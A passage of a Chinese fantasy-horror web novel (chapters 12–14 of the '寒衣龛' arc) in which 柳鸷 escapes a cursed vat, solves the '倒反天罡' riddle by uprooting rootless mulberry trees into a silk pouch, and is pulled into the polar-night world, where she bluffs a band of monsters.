柳鸷挥开眼上的字,趔趄地往陈离翡的方向过去。黏液似乎惧怕柳鸷身上散发出的金光,凡她所踏之路,黏液皆慌乱无章的从她脚边退散。
柳鸷担心陈离翡会窒息而死,走近,半跪下拍着她胸口,让其喘气。
半晌,陈离翡才微微睁开眼。
柳鸷顾不上其他,一把捞起陈离翡。“你抓紧我,我带你出去。”
柳鸷集中全身的法力,一剑冲破了胃部。
她带着陈离翡,穿过肉壁,听见了瓷缸破裂的声响。一剑冲出缸,直指冥色绣金蟒的长袍。
柳鸷抬头望,竟然是柏封棠。她捕捉到柏封棠担忧的表情,一闪而过,又消失不见。
柳鸷想收回剑,但已经来不了。
千钧一发间,柏封棠展开手挡住,剑在他手掌中一寸一寸折断。
在柳鸷撞进他怀里前,伸手扶住柳鸷的肩膀,顺势掀开了她手中的陈离翡。
柳鸷下意识地松了手,陈离翡被甩得,一屁股duang地跌坐在地上。
“噢......痛!”陈离翡摸着摔痛的屁股,正想骂人,身体倏地被人锢住,“还好吗?”
陈离翡扭头就看见了秦为墨。于是,她一脸委屈的架在秦为墨的肩膀上,哭唧唧的告状。
“墨墨,我刚刚差点就死掉了!本来受伤的屁股就痛,甜甜这个混蛋!竟然把我掀在地上!我现在更痛了!”
陈离翡越说越气,大声道:“而且你知道吗?柳鸷这个坏女人还摸我的手......”
淡淡的伽南香将柳鸷包裹,她借着柏封棠的手臂,堪堪站住脚,魂都没稳下来,被陈离翡高分贝的尖声,惊得几不可见的哆嗦了下肩膀。
柏封棠敛眸,神色不耐的朝陈离翡,“你是吞白磷了吗?成天炸炸呼呼的。”
陈离翡:“......”反应过来,她气得要爆粗口。
秦为墨捂住她叭叭的小嘴,温柔的哄着,“好了好了,别生气了。你不是还要说你‘大缸的历险记’吗?走吧,我带你去洗洗全身的绿油油,你路上说给我听。”
说着就把人拉出去了。
染色区,顿时安静了下来,瓷缸片凌乱地散满地。墨绿色的染料水漫延过,浸湿了地上的一簇板蓝根叶。
柳鸷缓了下神,松开柏封棠,说:“你们怎么在这里?”
柏封棠见她满脸绿呼呼的,就一双眼睛清亮着,怪可爱的。他眼中原本的戾气散去,不由好笑道:“我辛辛苦苦调了一早上的染料,一会没见,就被你捅破了一缸。”
柳鸷辩驳着:“不是,你这是染料吗?我还以为它是毒药,就差点死在里面。”
“不是染料,是缸。”柏封棠
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递过一条帕巾给柳鸷,“这是万坟缸,灭村时,一部分原住民被吞进缸里。”
那她看到满壁的脸谱大概就是原住民了。
“那你明知这缸有问题,怎么还用这缸盛染料水?”柳鸷接过帕巾,胡乱的擦脸。
“只能用这个。万坟缸无染料时,缸内无布。盛染料时,环绕在缸壁的布就会出现,布聚集众坟主的怨气会杀人,但以法力封住缸盖就无碍。”
柳鸷:“......”怪她们无知,掀了缸盖咯。
帕巾被柳鸷擦脏了,但她的脸还是一团惨绿。柏封棠无奈道:“别擦了,跟我过来。”
柏封棠带柳鸷走到染织坊后边的一个空屋,替她备了一杅水后,关门离开。
柳鸷解开衣袍,迈进木制的浴桶里,沐浴。
半个时辰后,柳鸷穿着湿哒哒的、干净的、白绿渐染的衣袍在织机区找到了柏封棠。
织机区的品种繁多,皆有序摆放。
这回,柳鸷学乖了,就站窗外,不靠近那些织机。
柳鸷百无聊赖地趴在窗边,一边晒着太阳,一边瞅着室内正在修理织机的柏封棠。
现在不巅庙里的蚕丝锋利如刃,根本做不了衣裳。
柳鸷悠闲地蹬着小腿,凝睇着柏封棠,调侃着:“连可用的蚕丝都没有,就要泡染料、修理织机啦?”
柏封棠将最后一台织机调试完毕,旋即,信步至窗前,“未雨绸缪总不会错。”
他慢腾腾的,用帕巾擦拭着左手。
金币驳链在碎光下熠熠闪耀。
蓦地,柳鸷想起昨夜那张金币覆眼的美人脸。
柳鸷还在盯着他的手看,耳边便传来柏封棠懒淡的嗓音:“你特地来找我,什么事?”
“哦,就是貌宜早上......”柳鸷言简意赅陈述完,并询问柏封棠是否知晓横批。
可柏封棠却反问:“你知道吗?”
柳鸷摇了摇头,“不过我有一个大胆的猜想,需要请你帮忙。”
“嗯?”柏封棠挑眉。
柳鸷把自己刚来时,在黑夜的古庙里遇到蚕爆事件,以及她的猜想全盘托出。
柳鸷怀疑这个神龛是有由两个类似却又不同的树林、古庙、村庄构成。一个极昼,一个极夜。
而对联上联描述是极夜的残景,下联则是极昼的景象。
“你有没有方法,可以让我重新回到极夜?”
“有的。”柏封棠擦干净手,将帕巾置在一边。
两人隔着窗棂,柏封棠微俯身,两手展着,有力的撑在窗沿边,居高临下的沉声道:“我可以一掌把你拍到地上,把你拍成流金血。你就可以像来时那样,沿着土壤流回去了。”
“......你看我有这么傻吗?”柳鸷瞪了他一眼。
这个鬼方法她不是没想过,但她目前的能力控制不了流金。万一,在此过程中发生流金血遗失,她化不成人形,岂不是变成了一滩只有意识的流金血。
“那我就爱莫能助了。”柏封棠故意一本正经的逗她。
柳鸷信以为真,又薅了一根头发缠着,纠结的紧皱眉头,思忖着。
柏封棠眼底流露出狡黠的笑意,但见她悻悻地苦着一张小脸,还是冷峻不禁道:“其实不用回到极夜世界也可以验证对联。”
“怎么说?”柳鸷欣喜的注视着柏封棠,月眼弯弯,乌眸漾水,璀璨夺目。
柏封棠目光微凝,允了允唇,“看在你第一个找我的份上,我就好心带你去验证下。”他颇为傲娇的丢下这句话,大步迈出了织机区。
柳鸷亦步亦趋的跟上,心想陈离翡给柏封棠起的外号有问题。
这哪里甜甜,分明是狡狡。
炽烈的阳光下,柏封棠带着柳鸷,身后一丈之遥,还拖了一对青梅竹马。
四人一同前往不巅庙。一路上,陈离翡都在絮絮叨叨方才惊心动魄的遭遇,秦为墨的耐心极好,一直细心安慰。
秦为墨这种要放现实世界,绝对称得上大暖男一枚。
四人到达不巅庙院门口时,与急匆匆从里头跑出来的曲皓尧碰上。
曲皓尧神色焦灼,左半边脸上、身上都溅着血,一滴一滴的往下流。
12. 寒衣龛(十二)
曲皓尧见了柏封棠和柳鸷等人,有些讶异,说:“我没受伤,我后边几个兄弟伤了。你们先让我们出去。”
曲皓尧带着身后伤痕累累的三人刚出了古庙,就有人撑不住直接倒下去了。
曲皓尧从怀里掏出一个瓷瓶,开始给兄弟上药。
柳鸷瞥见那人身上的伤口,又细又深、如被一刀切进去般,深得内脏翻边都看见了。
陈离翡说:“墨墨,这活不了吧?”
秦为墨示意陈离翡安静,但她话音刚落,那人大吐了一口血。
呜咽一下,没气了。
柳鸷不由皱了眉头,“怎么回事?不是和你说,不要碰蚕茧吗?你们为什么擅自动蚕茧?”
曲皓尧一拳垂着庙墙上,“我们没碰蚕茧,是另一伙人,来抢蚕丝,殃及我们。”他又气又恨,眼中蓄着泪,“都怪我,如果我早点撤离,小树就不会死了。”
秦为墨暖声安慰:“别伤心了,带你另外两个兄弟去处理下伤口吧。”
“等等,你刚说还有一伙人,人呢?”柳鸷说。
曲皓尧扛起小树的尸体,“里面。你们最好别进去,太危险了。”
转眸,柳鸷就目睹了,朱红色的庙殿门带着潮气,赤红的血从门缝中溢出、淌了下来。里头还有打斗的声响。
“还有人活着?”柳鸷说。
柏封棠扬手,隔空推开庙殿的门。
朱门如帘幕般拉开,呈现在眼前的第一幕,就是一根蚕丝径直切断了一个手持刀柄的男人的手臂,血喷溅四处,男人惨叫着倒地。
旁边三个男人见状,没有救他,而是发了疯般砍杀蚕丝。
这群人,真的要死。
柳鸷一马当先,往前小跑两步,朝庙殿内喊:“你们打不过的!快出来!”
有个男人的轻蔑的回应:“今天不收服这群蚕,爷就把头砍下来当球踢!”他砍断了好几个蚕丝。
蚕丝一下子萎靡了,但下一秒,背后蹿出来一根蚕丝,直接绞断了他的头颅。
这蚕丝,锐如利斧,且攻击性极强。
剩下的两个男人见自家老大死了,纷纷想逃。
四周的蚕丝忽然交织成一张网,如激光般推进,跑在最后的男人被切割成上百块,坍在地上。
只剩一个男人跑出来了,但蚕网跟着他追出来。他往柳鸷的方向跑,喊着:“救救我!”
柳鸷瞪大了眼睛,怏怏地退了三步,到柏封棠身后。
在蚕网快要靠近男人时,柏封棠出手,粉碎了蚕网。
那个男人吓得双脚发软,瘫在地上,裆部连着地面漫延出一股尿骚味。
几人来到庙殿门口,朝里望,地上淌着大量的血,血中约有上百块尸块,切割的刀口平整、利落。
一根根蚕丝吃了血,染成饱满的赤红色,在空中张牙舞爪的乱舞着。
“一、二、三......”陈离翡在数数,柳鸷放眼,发现蚕茧比昨日少了一半,原本还看得见人脸的蚕茧已经被蚕丝完全覆盖住了。
“十二。墨墨,这竟然有十二具蚕茧。”陈离翡雀跃着。
柳鸷回头问那个吓尿的男人,确认他们来时就只有十二具蚕茧。转而和陈离翡说:“多吗?昨天我和柏封棠来时,还有二十六具。一夜之间,消失了十四具。”
“怎么消失的?”
柳鸷想,按蚕丝的攻击力度,很难有选手能不露声色的搬动这么多具蚕茧。基本可以排除选手藏私蚕茧的行为。
于是,柳鸷回了一声:“不知道,大概是凭空消失的。”
柏封棠算一算时间,“再过半天,这些结成的厚茧会全部消失。”
“啊?”陈离翡吃惊,一双桃花眼瞪成了铜铃大小。“那我们还怎么制作衣裳?”
秦为墨安抚她,“会有办法的。”
柳鸷不疑有它。
之前她查看过天花板、木板和地板,并没有什么奇特之处。如果非要说这座庙里的奇特之处,那大概只有蚕茧。
四人打算在庙殿等着,看看蚕茧是如何消失的。
在两个时辰后,蚕茧茧度越来越厚。
“噔”的一下。
瞬息,一具蚕茧在空气中化为一缕摸不着的流体,直直蹿进地里。
没一会,第二具,第三具,......
柳鸷的脑皮似被尖针刺开了一道口子,一个巨大的画面从脑子贯出。她两条细长的柳眉激动的跳起来,絮絮道:“我知道了。我知道了。”
她等不及看所有的蚕茧下地消失,揪住柏封棠的衣袖,说:“我得回去找宝子。”
等柳鸷急冲冲回到茅草屋,找到万宝子时,“......”他怎么还是一颗鸟蛋,难道要等他孵化破壳吗?
柳鸷茫然了。
柏封棠捻着鸟蛋说:“他还醉着。”
“那我去找貌宜要一碗醒酒汤,给它泡泡?”
“不必。”柏封棠拿着鸟蛋至门口,将其丢进一个残缺破败的冷水木盆里。
鸟蛋慢慢的沉进水,落到盆底。
“水脏。”柳鸷虽不明白,但还是跟着柏封棠往后退了几步。
少顷,盆底泛起一阵涟漪。
嘭的一下,盆爆了——
木盆的碎屑炸得支离繁碎。
爆炸中心,万宝子化为人形,瘫坐在地上打了一个喷嚏,娇气的咕噜:“啊!淹死宝子了。”
万宝子还在不爽的吐槽,“谁敢谋害本宝?”一抬眸就瞥见柏封棠,阴恻侧问:“酒好喝吗?”
万宝子一个激灵,彻底醒盹了。
他羞愧的低下头,东捏西扭的解释道:“师兄,我只想喝一点点的,是美人姐姐多带了一瓶酒,非要给我喝,我忍受不住诱惑就......对不起师兄。”
柳鸷:“?”
这小子妥妥的心机boy,大白天的睁着眼睛说瞎话。
“噢?”柏封棠探扇浅笑,眼带戏虐的投向柳鸷。
柳鸷忿忿地看着万宝子,扭头对上柏封棠的深眸,“这小子酒还没醒,我带他去醒醒酒。”
“请便。”柏封棠让出路。
万宝子仿若劫后余生,暗松了一口气。他在心里想,只要不是师兄审问,他都不怕,大摇大摆地跟着柳鸷进屋子去。
堂厅内,柳鸷冷着脸、盯着万宝子。
万宝子的圆眼滴溜溜的转,嘴上撒娇道:“美人姐姐,你别生气,我觉得师兄不会生你的气,才会在情急之下这么说得。”
“所以,你先斩后奏,让我替你顶罪?”
“哪有什么罪?在师兄眼里,这事放你身上就是无罪释放,要放我身上铁定是无期徒刑。”万宝子抱住柳鸷的手,不依不饶的,“好姐姐,求你帮帮我吧。”
柳鸷灵机一动,捏住万宝子圆乎乎的脸颊,“只要你如实回答我几个问题,我就帮你。”
万宝子乖巧的点点头。
“昨晚你说将干粮放在了一个佩囊里,然后干粮莫名其妙的丢了对吗?”
“是啊。”
“何时何地丢的?”
“就是前天晚上吧,也不确定具体时辰。反正就是路过树林,饿了想吃饭,结果发现干粮没了。怎么了?”
“那你佩囊里装着什么干粮?”
万宝子往外头瞧了瞧,柏封棠正和回来的秦为墨和陈离翡站一块。
于是,万宝子小声说:“哦,有馅饼、包子、牛肉片还有草莓干等,都是师兄要求带的。”
牛肉片,上舍的人?
柳鸷在心里对上了。
她让万宝子去把佩囊拿来。
柳鸷握着白色的佩囊打量,这是蚕丝制品,面料非常丝滑。“这佩囊,你是哪里来的?”
万宝子肉嘟嘟的虎口抵着下巴打了个勾,撅着小嘴想:“这是师兄的,好像从我记事起,就一直都带在身边。”
他突然朝屋外喊了一声:“师兄,美人姐姐问你这个佩囊哪里来的?”
柏封棠从门外走进来,视线
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灼灼的盯着柳鸷手中的蚕丝佩囊,“问这做什么?”
柳鸷当着两人的面,把桌子上万宝子昨天喝完的金樽酒壶塞进蚕丝佩囊里,系上。下一刻,佩囊骤然就变轻了。
再打开,如她预料的那般,金樽酒壶已经不见了。
“你们丢掉的牛肉片和草莓干,就和这个金樽酒壶一样,掉进了极夜里,被我捡走吃掉了。”
柏封棠探寻的半眯起眼睛,“你吃了我的草莓?”
“是的。我暂时没法赔给你,先欠着。”柳鸷大方承认,继续:“你们看——”
她以食指沾水,想起在土壤里流过的那一副画,在桌子上快速画出一个向上的三角形山,又在下方画了一个向下的三角形山。
两座山是对称的。
“这是什么鬼画符?”万宝子问。
柏封棠说:“是这个龛的地理平面图。”
“是的,两座颠倒的山,山与山之间的连接纽带是蚕茧。也就是说,东西放进这个蚕丝佩囊里,就可以从极昼穿梭回极夜。”
万宝子惊奇的喊:“天呐!这个佩囊这么厉害,以前怎么没发现。师兄,这佩囊哪来的?”
柏封棠挺拔的鼻翼微翕,说:“从前的一位挚友送的。”
柏封棠的神色略带一丝悲恸,柳鸷不禁好奇,那个人是谁?但想想既是从前,估计那人不在这个神龛里。
柳鸷沉吟着:“为什么这个蚕丝佩囊的蚕丝不会伤人?”
“佩囊是死物,蚕茧是活物。”
柳鸷点点头,极昼的蚕茧会杀人,极夜的蚕茧会爆炸,那如果......“这个蚕丝佩囊可以借我下吗?”
柏封棠觑了一眼,眸光微沉。半晌,才道:“拿去吧。”
“谢谢你的割爱,我用完就还你。”柳鸷将蚕丝佩囊叠好,揣进衣兜。离开前,她还不忘皮上一句:“酒是万宝子逼我帮他带回来的,我没理由逼他喝酒,你懂的。”
言尽于此,柳鸷在万宝子错愕的目光中,洋洋洒洒的出了门。
柳鸷敲响了隔壁屋门,开门的是秦为墨。她莞尔笑道:“你可以帮忙叫下陈离翡吗?”
陈离翡从秦为墨身后探出身,“你找我?”
“嗯,现在要你履行上刀山下火海的承诺。”
“作甚?”
“陪我去挖树呀。”
“行啊,那你先把十片金箔还给我。”
极昼的傍晚,烈日依旧当空,热气四处溢散。
柳鸷和陈离翡各自扛着一把锄头和铁锹,身后还跟着一个不放心发小的秦为墨。三人一同往树林方向去。
到达树林口,三人热得直冒汗了。
柳鸷带两人又往里走了几步,最后选了一棵躯干偏瘦小一点的桑树,“就这棵了,挖吧!”
“我欠你的。”陈离翡撇了撇嘴,爽快的撸起袖子,一个锄头下去,砸开了地面。
柳鸷瞥过她的手臂,发现这家伙看着弱不禁风的,没想到竟然还有肌肉,不可思议啊。
陈离翡翻了个白眼,“看什么看?还不快挖?”
“好的哦。”柳鸷刚拿起锄头,秦为墨先就伸手接过她手里的锄头,“我来比较快。”
“多谢。”柳鸷瞄了眼陈离翡,见她竟然没有跳起来囔囔,而是在吭哧吭哧的锄地。柳鸷想不通,就去拿铁锹,开始铲土。
陈离翡一边锄地,一边吐槽:“锄田还有米吃,锄树又不能吃树干。”
柳鸷费力的铲起一抔土,“我请你吃米,你就当锄田了。”
三个人费了九牛二虎之力,忙活了半个时辰,锄到一大深坑时,桑树才开始摇晃。
秦为墨擦了下汗说:“好了,别锄了。你俩躲我后面,我用法力把它连根拔起。”
两小姑娘闪至后边,秦为墨大手张开,空中隐约的流体浮动,至下而上,桑树被拔起,摔到地上。
陈离翡刚长吁一口气,就懵圈了!
她讶异的瞅着树底,“这树怎么没有根啊?”
13. 寒衣龛(十三)
柳鸷冁然而笑,“没有根才是正确的,有根才比较麻烦。”
“什么意思?没有根怎么长这么大的?”陈离翡不理解。
秦为墨直戳了当,“你知道它的根在哪?”
“嗯,在另一个极夜里有它们半人高的树干,根应该就在那里。我们再挖一棵看看。”
“啊?还要挖——”陈离翡直接五体投地,不干了。
半个时辰后,在陈离翡的叭叭中,三人又挖出了一棵树,依旧没有树根。
三人气喘吁吁的休息了一会,柳鸷从衣兜里掏出蚕丝佩囊,展开,将佩囊口撑到最大,去套树的底部躯干。
还是太小了,套不进去。
秦为墨过来,看了一圈,眼熟的问:“这是封棠的?”
柳鸷还在想办法套,点了点头,“对,他借我的。”
秦为墨从怀中取出一片金箔,双指扣着金箔说:“封棠,你来树林一趟。”
柳鸷:“?”怎么大家都有这个功能?就她没有。
片霎,柳鸷的目光穿过树林,瞻见柏封棠如闪电般跃迁的身影。
她眨了下眼睛,人已经跃至跟前了。
柏封棠覆手而立,臭着脸色问秦为墨,“什么事?”
柳鸷见他右手青筋暴凸的执着一根细长的青绿色竹条,这该不会在教训万宝子途中,被叫来了吧。
秦为墨也看见了,揶揄道:“想我们柏神,上天入地,无所不能,就是教孩子教了这么多年也没一丁点长进。”
陈离翡哈哈大笑。
柏封棠沉下脸,冷眸睨向两人。
秦为墨赶忙说:“开玩笑嘛。”他指了指柳鸷手上的袋子,“将你的佩囊拉大点,柳鸷要套树。”
柏封棠二话没说,使法力撑得足以有一个圆桌般大。
柳鸷和陈离翡一人拉一边,一下子套住了两根树底。
唰的一瞬,两棵树都被吸进袋子里。
消失不见了。
看来,极夜才是真正的世界!
陈离翡瞠目结舌,喊着:“哇去!这,是去极夜找祖宗了吗?太牛逼了!”
柏封棠眼底不见半点波澜,抬脚就要走。
“等等。”柳鸷跑过来,梗着脖子,张翕着唇,“抱歉,我刚骗了你,宝子没有逼我,是我自愿帮他的。”
“我知道。”柏封棠色厉内荏道:“他喝酒,屡教不改,还撒谎让你顶罪,该罚。”
但万宝子到底还是个小孩,柳鸷生怕他把人给抽傻了,便想让柏封棠先别回去。“你可不可以留下了,帮我挖树?”
柳鸷怕他不同意,作揖礼,“拜托拜托!”
柏封棠察觉出她的想法,思虑片刻,随手丢了竹条,去拿锄头。
柳鸷如释重负,对陈离翡说:“你去门亭那,把横批答下。”
“我?”陈离翡指了指自己,“我不会啊。”
这么明显了还不会?
秦为墨明了的拉过陈离翡的手腕,“走吧,我带你去。”
一刻钟后,村口门亭上的空白处,是以朱墨、大刺刺的题写着四字横批。
——倒反天罡。
朱字显现的瞬间,陈离翡破了横批谜题的消息不胫而走,众选手纷纷赶来门亭处。
貌宜从天而降,祝贺道:“恭喜各位,对上横批。”
选手们觉得陈离翡这个傻白甜没这脑子,一定是她抢了秦为墨的果实。但他们为了巴结秦为墨,面不改色的吹着陈离翡的彩虹屁。
陈离翡在一片吹捧中,“你们别借着我溜须拍马,这是柳鸷实践得出的横批,借我的手写下而已。”
众选手望向秦为墨,后者点头肯定。
貌宜说:“线索既已揭开,龛主让我转达各位,寒衣龛将在七日后举行,届时请各位准备好一件衣裳,作为龛品参加寒衣龛。那么,期待到时候还能再见到各位。”
“等等,你还没说,我们要做衣裳给谁穿?做什么款式?”陈离翡问出了选手们心中的疑惑。
入龛前,阙庭提供的破龛线索是衣裳,除此之外,再无其他。寒衣龛是本神龛最关键的环节,时间紧迫。
“衣裳是为龛主做的。至于龛主喜欢什么款式,我不清楚。”
有选手提议,多找些蚕茧,做几件不同款式的供龛主挑选不就好了。可现在神龛里连可用的蚕丝都没有,怎么多做?
“提醒各位,若届时没有龛主心仪的衣裳,那龛主会不会发疯,我也不清楚。”貌宜拍拍粗衣,留下这一句,高傲地走了。
柏封棠挖树的速度很快,他只挖开三分之一,松了松周边的土壤,就能单手放倒一棵两个成年男子双臂环抱大小的树干。
柳鸷将刚挖起来的几棵无根桑树,拖进蚕丝佩囊里。
远远的,柳鸷就瞥见秦为墨和陈离翡回来了,身后还跟着一群人。
等人走近了,陈离翡和她转达寒衣龛的事后,便大大咧咧的,“他们都是
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慕你的名而来,你看着办吧。”
曲皓尧上前问:“听说横批是你想出来的,你能不能和大伙说下倒反天罡的线索是什么?”
柳鸷思索着,这片树林有近百棵树,如果多些人挖肯定比四个人挖得快。
于是,心里琢磨着把这群人忽悠来帮她挖树。
“我猜测,龛主在灭村后,复制了一座山。现在两座山,一座极昼,一座极夜。”柳鸷蹲下身,在土壤里画了上下颠倒的两座山。
“根据树根和消失的蚕茧去向可以推测,下方的极夜才是真正的山。所以,我们需要挖树,让倒反的天罡反正。”
曲皓尧疑惑:“挖树就能拨乱反正?”
“当然。”骗你的!柳鸷并没有十层把握,但若不尝试,是一点机会都没有。
“那拨乱反正后,能找到可用的蚕丝制衣裳?”
“是的。”柳鸷曾在极夜里摸过蚕茧,并未出现蚕丝杀人的现象。极昼的蚕茧都跑到极夜里了,还是得拨乱反正试试。
曲皓尧看了一眼前方的树,转而对身后的选手们说:“柏神和秦为墨都在挖树,她说得应该是真的,大伙,一起帮忙挖树吧!”
选手们回村取了各类工具,加入了挖树阵营。
柳鸷和陈离翡拿着蚕丝佩囊套得飞快,极昼里的树消失的速度变快了许多。
一棵参天大树放倒在地,套树时,树头的枝干被石头阻碍了。柳鸷和陈离翡松开蚕丝佩囊,上前去挪开大石头。
回去时,柳鸷被一个跑过的选手撞倒。
柳鸷不可控制的向后摔,跌进一簇树叶里。抬眸,她发现周边的人与树正在疾速倒退。
不对劲。
柳鸷回头望,透过树枝缝隙,发现陈离翡已经大拉起蚕丝佩囊口,放倒在地上的桑树底部正被蚕丝佩囊套着,一寸一寸,快速吸进佩囊里,消失在极昼里。
柳鸷想翻身下去,但与树接触的半边身体像黏住了,动弹不得。
她大喊着:“陈离翡,放下佩囊!”
桑树的枝叶非常葱郁、繁密,陈离翡只听到声音,根本看不见柳鸷,还一头雾水着:“谁喊我?”
“柳鸷——”
柳鸷看见柏封棠急遽跃迁而来,伸出手在要抓住她的须臾间,闪过一刹白光,柳鸷陷入一片黑幕中。
柳鸷悬在夜空,在一股失重感的重重撕扯下,灵肉分离。她最后的意识是抱紧树枝,而后就是肉在下方坠,灵在天上追。
14. 寒衣龛(十四)
“咣当!”的一声巨响。
柳鸷缓过劲来,睁开眼,黑云盖月,借着依稀的碎光,柳鸷看清了眼前的景象。
半人高的树干错落参差的排列着,其中有部分树干有了桑树的枝与叶,是一棵完整的桑树了。
而她正挂在一棵粗壮参天的桑树枝头,高得她恐高症都犯了。
柳鸷蹑手蹑脚地往树杈处爬,顺着树干几个跃步,安稳地跳了下来才松了一口气。
柳鸷探手摸了摸树干的相接处,非常的吻合,看不出一丝嫁接的痕迹。
看来她推测的没错,她回到了极夜里。
金菜手镯在手腕上亮了亮。
柳鸷试探性喊了两声金菜,回应她的是一闪一闪的光。
柳鸷只得作罢,松开树干,打算往前看看时,身后突然传来簌吱吱的异响。
她猛地回头,放眼望去,黑幕阴森,桑树隐匿,罡风将树叶吹得沙沙作响,却未见任何鬼影。
柳鸷警惕的收回目光,往前走了几步,敏锐地觉得芒刺在背,一定有人在身后窥视着她。
可她看不见,更不会贸然闯进笼笼的黑暗里。
柳鸷俯下身,匍匐在地面上听,一道几不可闻的“滴答滴答”水滴声,倏地闯进她耳郭。
难道是她?
柳鸷机敏的朝黑暗里,冷声:“我看见你了,出来,我不会杀你的。”
无人回应。
“再不出来,我就过去抓你了。”
依旧。
柳鸷抬起脚朝黑暗里迈了几步,忽然响起一声急剧的奔跑,与剧烈抖落的水滴声。
啧!
竟然怕她怕成这样?
她有这么可怕吗?
柳鸷拔腿追了几步,在一棵树后瞥见了淌下来的一团黑水渍。
竟然真的是那个黑发女人。
怕她又偷窥她,不明白这个女人想干什么?
柳鸷沿着黑水渍的痕迹,穿梭在弯曲的参道里寻找黑发女人。
直到在临近湖边的一棵半人高的树干前,失去了水渍的踪迹。
柳鸷瞟了一眼泛着阵阵涟漪的湖面,跳进去了?她忖度着,想法子把她逼出来,不远处传来一阵对话声。
柳鸷立即闪身躲到树干后,听着。
“刚刚明明听见有人在说话,怎么没声音了?”
“老三,你是不是饿晕了?出现幻听了?”
被唤的老三磨了磨牙齿,“不可能,你们看,地上有黑水渍的痕迹,我就说有人嘛,走过去瞧瞧。”
柳鸷躲藏的树正是黑水渍最后的踪迹点,他们沿着水渍必然会寻到她这。
她戒备的稍稍探头瞄,瞬时倒吸一口凉气!
完了!
竟是五个龛?!
一排人身蛾翅的龛,周身漆黑,铜铃大的眼冒着绿光,獠牙如尖锥扣着下颚。单臂挑着巡夜灯,若隐若现的映照着它们黑紫色的脸。
老五嫌弃道:“为什么我们要挑着这个纱灯?这是小姑娘家才喜欢的东西。”
老三调侃着:“哦~大概是因为我们长得太凶了,会吓到选手的。你也知道选手们很胆子小的,所以要配一个可爱的纱灯来调节一下恐怖的气息!”
“这样我们才能够骗到选手,吃到人肉啊!嘿嘿!”
老五:“.............”
柳鸷躲在树后,左右观望,五个龛排成队列,边聊边扇动着蛾翅,像一支军队一样游荡在树林里,朝着她的方向直直而来。
柳鸷想,这时候逃出去,必然会被看见,从而大战一场。但她不确定一级法力能否同时杀掉五个龛。
如果不能,她将面临被虐杀、吞噬的结局。
她不能跑!
在离龛们只有一丈之距时,柳鸷主动从树后走了出来,先声夺人,“晚上好呀几位,游街这么久了,还没有找到食物吗?”
柳鸷漫不经心的扣着指甲盖上的树屑,轻轻一吹,“啧,如今的小新龛真是越来越废物了。”
老三瞪大了凸出的眼睛,气得跳脚,尖锐的指甲指着柳鸷,“这不是我们刚刚在寻觅的猎物吗?竟然敢嘲讽我们!简直找死!”
旁边的四个龛双手交环抱胸,以一副望着待宰的羔羊般的眼神望着柳鸷。
柳鸷压下心中的忐忑,上前迈了几步,离它们更近了,能清晰得看见黑紫色的毛细血管如藤曼,一条一条、凹凸不平地爬满龛的脸。
真恶心。
柳鸷不露声色,声线沉稳道,“这里没有你们的猎物,我是貌宜。”说完,她高傲的扬了扬下巴。
几个龛面面相窥,相互问对方,你们见过貌宜吗?
“是龛主身边的侍女貌宜吗?”
“对啊,不过她一个下九龛有什么好怕的。”
“那也比我们阶级高啊。”
“等等,这个人真的是貌宜吗?该不会是选手假冒的吧?”
“选手的话,你们在阙庭里面有见过她吗?”
“她看着很面生,应该不是选手。”
......
几个龛,你一言我一语。
半晌,柳鸷沉下脸,掏了掏耳朵,不耐烦道:“啰嗦够了没?”
五个龛止了声,半信半疑的打招呼,“见过貌宜姑娘,不过你怎么鬼鬼祟祟的在这?”
柳鸷浅笑说:“哪里鬼祟?我只是在追杀一位选手,多的就不便透露了。你们要是饿了就去村里的织染坊,染缸内有我准备的食物。”
柳鸷又略带嫌弃的补了一句:“不要在这里妨碍我杀人。”
龛咽着口水,摸了摸肚子,“食物!真的吗?真是太感谢貌宜姑娘了。”
柳鸷勾起几不可闻的笑,这群龛真是太傻太好骗了。
但柳鸷开心的太早了。
正当五个龛起身,打算离开时。
“哈哈哈哈哈哈,这里这么热闹啊!”五个龛停下脚步,循声而去。
一个白发苍苍的老头龛煽动着翅膀飞来,问:“你们抓到选手要去哪里吃啊?能不能分我一块肉?”
老三提醒老头龛:“这是貌宜,才不是选手。”
老头龛审视着柳鸷的脸,忽然大笑了起来。
柳鸷面上强装的镇定,实则神经线在疯狂跳动。她有一种预感,这个老头龛很可能认识真正的貌宜。
老头龛说:“你是貌宜?在我数十载的记忆中,貌宜从来都是粗衣裹布。”柳鸷身上虽沾了树枝与土,脏兮兮的,但依旧能看出缎面衣袍布料的华贵。
糟了!
马甲掉了!
在龛们反应过来前,柳鸷撒腿就跑。
柳鸷在前头跑,六个龛在后边追,“你这个骗子给我站住!看我逮着不生剥了你!”
柳鸷跑得速度很快,突然,手腕上的金菜出声了,“啊,憋死我了,终于开机醒来了。”
柳鸷一愣,腿还不忘跑,只得边跑边阴阳怪气的吐槽,“哇!你怎么舍得出来了?之前喊了你几次都没有回应,到底跑哪里去了?”
系统掰直金菜,挺了挺菜的茎干,“是你跑到了分裂的幻影空间,才导致我出不来的。”
柳鸷无语,跑得气喘吁吁,“好了好了,先不说这些,你先帮我看一下怎么解决身后的这些龛?”
“我的一级能力可以对付这六个龛吗?”
“容我瞧瞧哦。”金菜从柳鸷的手上立起来,跳到她的肩膀上,瞅了一眼,“你的一级能力最多只能对付三个龛,可这有六个啊。”
这时,一个龛竟然在半空中飞着扑向柳鸷。系统抖了抖金菜叶,“好可怕!我还是躲进你的手腕里吧!”
“......”柳鸷气死了!
这个没用的系统又死顿了,自个弯成手镯扣在柳鸷手腕上。
下一秒,柳鸷被扑来的龛,猛地一脚踹中了后背,踹成狗吃屎般趴在了地上。痛得柳鸷嗷嗷叫了两声,很快,龛们包围了她。
柳鸷被撞得发懵,但脑子转得比陀螺还快,在被龛拽起身前,她急忙用耳环在耳垂下划破出一道口子。
龛们围上来把她擒住,“好啊,竟然敢骗我——”一滴金灿灿的流金血从柳鸷的左侧颈部上溢出。
龛们惊呆了!
老头龛上前,用指甲刮了一下,盛在指甲窝里送至嘴边,伸出舌头舔了舔流金血。他惊讶,
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欣喜若狂的,“靠!这竟然是流金血,撞大运了!”
柳鸷趁机煽风点火,“哦,我是流金血,你们都看见了。”
“你们之中,只要有人能够得到我全部的血液,就可以成为至高无上的上九龛,征服这一片土地上的所有选手与龛。而不是像你们现在这样,是个挑着纱灯还骗不到肉的最低阶龛。”
贪婪的欲望在龛们的眼睛里浮现。
如果柳鸷没猜错,这群龛在阙庭待过,从前应该也是选手,只是能力太弱,被龛主感染成了龛。
柳鸷继续:“拥有我的血,就可以打败阙庭的柏神,让柏神跪在你们面前!想想都觉得兴奋吧?”
老头龛喝止柳鸷,“你们不要被她的语言挑拨离间了。”
